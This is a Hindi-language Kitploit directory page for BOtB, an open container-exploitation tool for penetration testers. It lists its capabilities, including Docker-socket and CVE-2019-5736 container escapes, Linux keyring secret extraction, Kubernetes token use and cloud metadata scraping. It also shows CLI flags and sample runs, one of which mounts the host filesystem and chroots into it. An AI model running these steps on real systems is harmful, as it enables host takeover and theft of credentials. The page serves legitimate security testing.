Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
botb — पेंटेस्टर्स और इंजीनियर्स के लिए एक कंटेनर विश्लेषण और शोषण उपकरण। | Kitploit
उपकरण/GitHubGitHub/brompwnie/botb
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षाकंटेनर एस्केप
GitHubbrompwnie/botb

botb

पेंटेस्टर्स और इंजीनियर्स के लिए एक कंटेनर विश्लेषण और शोषण उपकरण।

रिपॉजिटरी देखें
68456254 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Github All Releases

बॉक्स से बाहर निकलें (BOtB)

BOtB एक कंटेनर विश्लेषण और शोषण उपकरण है जिसे पेंटेस्टर्स और इंजीनियरों द्वारा उपयोग के लिए डिज़ाइन किया गया है, साथ ही यह सामान्य CI/CD तकनीकों के साथ CI/CD अनुकूल है।

यह क्या करता है?

BOtB एक CLI टूल है जो आपको निम्न की अनुमति देता है:

  • सामान्य कंटेनर कमजोरियों का शोषण करें
  • सामान्य कंटेनर पोस्ट-एक्सप्लॉइटेशन कार्य करें
  • जब कुछ टूल या बाइनरी कंटेनर में उपलब्ध न हों तो क्षमता प्रदान करें
  • कंटेनर डिप्लॉयमेंट का परीक्षण करने के लिए CI/CD तकनीकों के साथ BOtB की क्षमताओं का उपयोग करें
  • उपरोक्त को मैन्युअल या स्वचालित दृष्टिकोण से करें

वर्तमान क्षमताएँ

  • एक्सपोज्ड डॉकर डीमन (docker.sock) के माध्यम से कंटेनर से बाहर निकलना (breakout)
  • CVE-2019-5736 के माध्यम से कंटेनर से बाहर निकलना
  • सक्षम CAPS और SYSCALLS के माध्यम से विशेषाधिकार प्राप्त कंटेनर से बाहर निकलना
  • अनुमेय seccomp प्रोफाइल के माध्यम से Keyctl syscall का दुरुपयोग करके Linux Kernel Keyrings से डेटा निकालना
  • Kubernetes Service Account secrets को पहचानें और उनका उपयोग करने का प्रयास करें
  • मेटाडेटा सेवा एंडपॉइंट्स की पहचान करें जैसे http://169.254.169.254, http://metadata.google.internal/ और http://100.100.100.200/
  • GCP मेटाडेटा एंडपॉइंट्स से मेटाडेटा जानकारी स्क्रैप करें
  • ENV और ProcFS में प्रक्रियाओं में संवेदनशील स्ट्रिंग्स का विश्लेषण और पहचान करें जैसे /Proc/{pid}/Environ
  • UNIX डोमेन सॉकेट खोजें और पहचानें
  • UNIX डोमेन सॉकेट जो HTTP का समर्थन करते हैं, उन्हें पहचानें
  • UNIX डोमेन सॉकेट या किसी इंटरफ़ेस पर Docker Daemon खोजें और पहचानें
  • कस्टम पेलोड के साथ होस्ट बाइनरी को हाईजैक करें
  • CI/CD मोड में कार्रवाई करें और केवल एग्जिट कोड > 0 लौटाएं
  • S3 बकेट में डेटा पुश करें
  • BOtB को हमेशा एग्जिट कोड 0 लौटने के लिए बाध्य करें (गैर-अवरुद्ध CI/CD के लिए उपयोगी)
  • उपरोक्त को CLI तर्कों या YAML कॉन्फ़िग फ़ाइल से करें
  • रिवर्स DNS लुकअप करें

स्थापना

बाइनरीज़

बाइनरीज़ से स्थापना निर्देशों के लिए कृपया रीलीज़ पेज पर जाएं।

Go के माध्यम से

go get github.com/brompwnie/botb

स्रोत से निर्माण

Go के माध्यम से BOtB का निर्माण:

go build

Make के माध्यम से BOtB का निर्माण:

make

उपयोग

BOtB को लक्षित प्लेटफ़ॉर्म के लिए एक बाइनरी में संकलित किया जा सकता है और यह निम्नलिखित उपयोग का समर्थन करता है:

./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

BOtB को कॉन्फ़िग पैरामीटर के माध्यम से YAML फ़ाइल से सेटिंग्स लोड करने का निर्देश भी दिया जा सकता है:

#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

निम्नलिखित उपयोग उदाहरण डिफ़ॉल्ट रूप से एक एग्जिट कोड > 0 लौटाएंगे जब एक विसंगति का पता चलता है, इसे "echo $?" द्वारा दर्शाया गया है जो अंतिम निष्पादित कमांड का एग्जिट कोड दिखाता है।

Linux Kernel Keyring Secrets को पहचानें और निकालें जो ठीक से संरक्षित नहीं हैं

मूल लेखक से अधिक जानकारी यहाँ https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

माउंटेड Kubernetes Service Account Secrets को पहचानें और सत्यापित करें

#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

एक्सपोज्ड Docker Daemon के माध्यम से कंटेनर से बाहर निकलें

यह दृष्टिकोण होस्ट पर एक इंटरैक्टिव TTY में बाहर निकल जाएगा।

#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 
टूल डाउनलोड करें